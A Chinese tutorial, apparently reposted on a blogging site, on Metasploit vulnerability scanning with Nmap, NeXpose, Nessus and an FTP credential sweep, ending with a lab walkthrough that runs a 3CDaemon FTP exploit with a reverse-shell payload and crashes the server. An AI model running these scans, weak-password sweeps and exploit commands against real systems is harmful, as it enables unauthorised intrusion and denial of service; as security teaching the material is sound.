Metasploit與漏洞掃描

一 漏洞及漏洞發掘方法

漏洞,是指在硬件、軟件、協議實現或系統安全策略上存在缺陷,攻擊者能夠在未授權的情況下對系統進行訪問或破壞。它會成為入侵者侵入系統和植入惡意軟件的入口,影響系統用戶的切身利益。漏洞與目標系統的操作系統版本、軟件版本以及服務設置密切相關。研究漏洞必須要了解當前計算機系統及其安全問題的最新發展動態。常見的漏洞包括緩沖區溢出漏洞、跨站腳本漏洞(XSS)、SQL注入漏洞、數據庫漏洞以及WEB應用漏洞等。

常見的漏洞發掘方法分為以下幾種。

m? 黑盒攻擊(Fuzzing):即通過注入數據進行自動化測試。

m? 獲取攻擊對象的源代碼進行審計:網絡上有很多源代碼審計工具可供使用,如Fortify。

m? 反匯編審計:如果無法獲取到源代碼,可以基于匯編碼進行反匯編審計。IDA是一款常用的反匯編軟件。

m? 動態跟蹤分析:通過記錄程序在不同條件下執行操作(如文件操作),分析這些操作序列是否存在問題。

m? 補丁比較:廠商軟件的問題通常都會在補丁中解決,如微軟的Windows操作系統會不定期發布補丁程序,通過對比補丁前后文件的源碼(或反匯編碼)就能了解漏洞的具體細節。

目前,針對常用的漏洞發掘方法已經開發出了很多漏洞掃描工具。漏洞掃描工具是一種能在計算機、信息系統、網絡及應用軟件中查找安全弱點的程序。通過對目標系統進行探測,向目標系統發送數據,并將反饋結果與漏洞特征庫進行匹配,分析出目標系統上存在的安全漏洞。比較常用的漏洞掃描工具有Metasploit、Nmap、NeXpose、Nessus、Xscan等。

二?Metasploit Framework工具簡介

Metasploit Framework是一個強大的開源平臺,為滲透測試、shellcode 編寫和漏洞研究提供了一個可靠環境。它集成了各種常見的溢出漏洞和shellcode ,并且不斷更新。當前版本收集了上千個實用的溢出攻擊程序及一些輔助工具,操作簡單,易用性好。當然,它不只是一個簡單的收集工具,還提供了所有的類和方法,以便開發人員使用這些代碼方便快速的進行二次開發。漏洞掃描只是Metasploit Framewotk眾多功能中的一種,本文只介紹它的漏洞掃描功能。

Metasploit Framework的總體架構如圖1所示,它包含Exploit、Auxiliary、Payload等多個模塊:

m? Exploit是攻擊模塊,基本上目前所有的操作系統在Metasploit Framework上均有對應的攻擊模塊;

m? Auxiliary是輔助模塊,用途非常廣泛,它可以作為掃描器、拒絕服務攻擊工具、Fuzz測試器,以及其他類型的工具;

m? Payload是在目標系統被攻陷之后執行的代碼,如添加用戶賬號,獲取shell交互權限等;

圖1?Metasploit Framework整體架構

三?Metasploit的幾種漏洞掃描組件

1??????Nmap

Nmap適用于Winodws、Linux、Mac等操作系統。它用于主機發現、端口發現或枚舉、服務發現,檢測操作系統、硬件地址、軟件版本以及脆弱性的漏洞。Metasploit Framework平臺集成了Nmap組件。通常在對目標系統發起攻擊之前需要進行一些必要的信息收集,如獲取網絡中的活動主機、主機開放的端口等。

Nmap掃描存活主機及主機運行的服務:

nmap -P0 192.168.20.1-10,掃描結果顯示網絡中活動的主機有7臺,且列舉出了每臺主機運行的服務及主機MAC地址。

msf > nmap -P0 192.168.20.1-10

[*] exec: nmap -P0 192.168.20.1-10

Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-06 15:47 ????????????

Nmap scan report for 192.168.20.1

Host is up (0.00014s latency).

Not shown: 995 closed ports

PORT????? STATE??? SERVICE

23/tcp??? open???? telnet

80/tcp??? open???? http

MAC Address: 00:0F:E2:69:5D:E2 (Hangzhou H3C Technologies Co.)

……

Nmap scan report for 192.168.20.4

Host is up (0.0098s latency).

Not shown: 986 closed ports

PORT????? STATE SERVICE

21/tcp??? open? ftp

80/tcp??? open? http

135/tcp?? open? msrpc

443/tcp?? open? https

445/tcp?? open? microsoft-ds

902/tcp?? open? iss-realsecure

912/tcp?? open? apex-mesh

3389/tcp? open? ms-wbt-server

MAC Address: 68:05:CA:0E:BF:59 (Intel)

……

Nmap done: 10 IP addresses (7 hosts up) scanned in 17.53 seconds

msf >

Nmap掃描操作系統和服務軟件版本信息:

msf > nmap -A -T4 192.168.20.4,Nmap顯示的掃描結果相當詳細,列出了目標服務器192.168.20.4上運行的操作系統是微軟的Windows 7或者Windows 2008,提供FTP服務的軟件是3Com 3CDaemon FTP Server,版本號為2.0,并且使用匿名賬號anonymous可以登陸成功。

msf > nmap -A -T4 192.168.20.4

[*] exec: nmap -A -T4 192.168.20.4

Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-06 15:54 ????????????

Nmap scan report for 192.168.20.4

Host is up (0.0074s latency).

Not shown: 986 closed ports

PORT????? STATE SERVICE???????? VERSION

21/tcp??? open? ftp???????????? 3Com 3CDaemon ftpd 2.0

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

|_ftp-bounce: bounce working!

80/tcp??? open? http??????????? HttpFileServer httpd 1.5g

|_http-title: JAX SERVER- /

135/tcp?? open? msrpc?????????? Microsoft Windows RPC

443/tcp?? open? ssl/http??????? VMware VirtualCenter Web service

445/tcp?? open? netbios-ssn

902/tcp?? open? ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)

912/tcp?? open? vmware-auth???? VMware Authentication Daemon 1.0 (Uses VNC, SOAP)

3389/tcp? open? ms-wbt-server?? Microsoft Terminal Service

MAC Address: 68:05:CA:0E:BF:59 (Intel)

Device type: general purpose

Running: Microsoft Windows 7|2008

TRACEROUTE

HOP RTT???? ADDRESS

1?? 7.38 ms 192.168.20.4

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 203.48 seconds

msf >

2??????NeXpose

NeXpose通過掃描網絡,可以查找出網絡上正在運行的設備,并識別出設備的操作系統和應用程序的漏洞,并對掃描出的數據進行分析和處理,生成漏洞掃描報告。

首先,如圖2所示,在Metasploit Framework中加載NeXpose插件:

圖2?加載NeX

pose插件

使用nexpose_scan命令對目標主機進行漏洞掃描:

msf > nexpose_scan 192.168.20.4

[*]Scanning 1 address with template pentest-audit in sets of 32

[*]Completed the scan of 1 address

msf >

查看漏洞掃描結果,掃描程序發現了7個漏洞:

msf > db_hosts –c address

Hosts

=====

address ??????Svcs?????? Vulns??????? Workspace

-------?????? ----?????? -----??????? ---------

192.168.20.4? 8????????? 7???????????? default

msf>

輸入db_vulns可以顯示已發現漏洞的詳細情況:

msf > db_vulns

[*]Time Mon Jun 2013:10:31 UTC 2010 vuln: host=192.168.20.4 port=445proto=tcp name=Nss-26920refs=CVE-1999-0519,CVE-2002-1117,BID-494,OSVDB-299

……

For the sake of brevity,we will just let db_autopwn exploit the low-hanging fruit for us and only run exploit with at least a “good” rating

msf >

3??????Nessus

Nessus是當前使用最廣泛的漏洞掃描工具之一。Nessus采用client/sever模式,服務器端負責進行安全檢查,客戶端用來配置管理服務器端。在服務端還采用了plug-in的體系,允許用戶加入執行特定功能的插件,這插件可以進行更快速和更復雜的安全檢查。

如圖3所示,在Metasploit Framework中加載Nessus插件:

圖3????加載Nessus插件

創建掃描任務:

msf > nessus_scan_new 2 test_scan 192.168.20.4

[*]Creating scan from policy number 2,called “test_scan” and scanning 192.168.20.4

[*]Scan started.uid is d2f1fc02-3b50-4e4e-ab8f-q12jsiey8209384ndjsieksjfdjieb

msf>

查看掃描運行狀態,“No Scans Running”表示掃描已完成:

msf > db_hosts –c address

[*] No Scans Running

msf>

查看掃描結果,掃描程序發現345個漏洞:

msf > db_hosts –c address,svcs,vulns

Hosts

=====

address ??????Svcs?????? Vulns

-------?????? ----?????? -----

192.168.20.4? 18???????? 345

msf>

從掃描結果可以看出,對同一個目標主機進行掃描,Nessus掃描出的漏洞數量與NeXpose掃描出的數量有明顯的差異。通過對不同工具的掃描結果進行對比分析,對了解掃描工具本身,和更精確地確定目標系統存在的漏洞都是非常有幫助的。

4??????Metasploit的專用FTP掃描器

除了集成的掃描工具,Metasploit自帶的輔助模塊,可以針對網絡中特定的漏洞進行掃描。下面以FTP掃描為例,介紹Metasploit自帶掃描器的使用方法。

選擇ftp_login模塊,掃描網段192.168.20.1-10中能使用固定用戶名和密碼root/123456登陸主機:

msf > use auxiliary/scanner/ftp/ftp_login

msf? auxiliary(ftp_login) > set USERNAME root

USERNAME => root

msf? auxiliary(ftp_login) > set PASSWORD 123456

PASSWORD => 123456

msf? auxiliary(ftp_login) > set RHOSTS 192.168.20.1-10

RHOSTS => 192.168.20.1-10

msf? auxiliary(ftp_login) > run

[*] 192.168.20.1:21 - Starting FTP login sweep

[*] Connecting to FTP server 192.168.20.1:21...

……

[*] 192.168.20.1:21 FTP - [1/1] - Attempting FTP login for 'root':'123456'

[+] 192.168.20.1:21 - Successful FTP login for 'root':'123456'

[*] 192.168.20.1:21 - User 'root' has READ/WRITE access

……

[*] Connecting to FTP server 192.168.20.4:21...

[*] Connected to target FTP server.

[+] 192.168.20.4:21 - Successful FTP login for 'root':'123456'

[*] 192.168.20.4:21 - User 'root' has READ/WRITE access

……

[*] Connecting to FTP server 192.168.20.6:21...

[*] Connected to target FTP server.

[+] 192.168.20.6:21 - Successful FTP login for 'root':'123456'

[*] 192.168.20.6:21 - User 'root' has READ/WRITE access

……

[*] Connecting to FTP server 192.168.20.9:21...

[*] Connected to target FTP server.

[+] 192.168.20.9:21 - Successful FTP login for 'root':'123456'

[*] 192.168.20.9:21 - User 'root' has READ/WRITE access

[*] Scanned 10 of 10 hosts (100% complete)

[*] Auxiliary module execution completed

查看輸出結果,10個IP中有4臺FTP Server均能使用root/123456賬號登陸,并且含有讀寫權限。通常在公司內網里,很多人習慣使用簡單的賬號,沒有足夠的安全意識,當攻擊者成功入侵內網后,這些工作站將非常危險。

四Metasploit的一個攻擊實例

漏洞掃描僅僅是Metasploit Framework強大功能的冰山一角,下面簡單說明一下Metasploit執行一次攻擊測試的方法。利用上面Nmap的掃描結果,選取192.168.20.4上所運行的3Com 3CDaemon FTP Server為攻擊目標。通過前面的掃描可以得到目標主機運行的操作系統及應用程序版本的詳細信息,如圖4所示,在Metasploit Framework里搜索針對3CDaemon的攻擊腳本:

圖4??搜索針對3CDaemon的攻擊腳本

use命令進入搜索到的exploit:

msf > use exploit/windows/ftp/3cdaemon_ftp_user

msf? exploit(3cdaemon_ftp_user) >

Set RHOST命令設置攻擊目標機的IP地址:

msf? exploit(3cdaemon_ftp_user) > set RHOST 192.168.20.4

RHOST => 192.168.20.4

Set target命令設置目標機的操作系統類型:

msf? exploit(3cdaemon_ftp_user) > set target 4

target => 4

設置完成之后,?show options顯示設置好的參數信息:

msf? exploit(3cdaemon_ftp_user) > show options

Module options (exploit/windows/ftp/3cdaemon_ftp_user):

Name???? Current Setting????? Required? Description

----???? ---------------????? --------? -----------

FTPPASS? mozilla@example.com? no??????? The password for the specified username

FTPUSER? anonymous??????????? ??no??????? The username to authenticate as

RHOST??? 192.168.20.4???????? ?yes?????? ?The target address

RPORT??? 21????????????????? ????yes????? ??The target port

Payload options (windows/shell_reverse_tcp):

Name????? Current Setting? Required? Description

----????? ---------------? --------? -----------

EXITFUNC? seh????????????? ??yes?????? Exit technique: seh, thread, process, none

LHOST???? 192.168.20.67?? ??yes?????? The listen address

LPORT???? 4444??????????? ????yes?????? The listen port

Exploit target:

Id? Name

--? ----

4?? Windows XP English SP3

輸入exploit命令,開始攻擊:

msf? exploit(3cdaemon_ftp_user) > exploit

[*] Started reverse handler on 192.168.20.67:4444

[*] Trying target Windows XP English SP3...

msf? exploit(3cdaemon_ftp_user) >

如圖5所示查看目標機3CDaemon FTP軟件顯示崩潰,攻擊成功!

圖5??3CDaemon FTP崩潰

分析抓包結果,可以看出該FTP攻擊腳本是利用超長用戶名(如圖6所示)導致FTP Server崩潰的。

圖6???抓包結果

五 結束語

避免黑客攻擊,部署專門的漏洞檢測防御系統是非常必要的。Metasploit提供了豐富的掃描功能、攻擊腳本及二次開發的平臺,使網絡安全漏洞檢測變得相對容易。H3C的IPS(Intrusion Prevention System)采用系統的防御方法,結合智能的規則識別技術可以對各種漏洞攻擊進行有效的防御。為應對技術的更新,H3C攻防團隊會主動關注網絡上新的攻擊方式,并將分析結果及時添加到IPS特征庫中供客戶升級使用。對于系統維護者來說,積極主動的查找漏洞并打上相應補丁,同時結合專業的防御設備進行入侵防御,毫無疑問是維護系統安全的最佳方法。

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 228,786評論 6 534
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 98,656評論 3 419
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 176,697評論 0 379
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,098評論 1 314
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 71,855評論 6 410
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 55,254評論 1 324
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,322評論 3 442
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 42,473評論 0 289
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 49,014評論 1 335
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 40,833評論 3 355
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 43,016評論 1 371
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,568評論 5 362
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,273評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,680評論 0 26
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,946評論 1 288
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,730評論 3 393
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 48,006評論 2 374

推薦閱讀更多精彩內容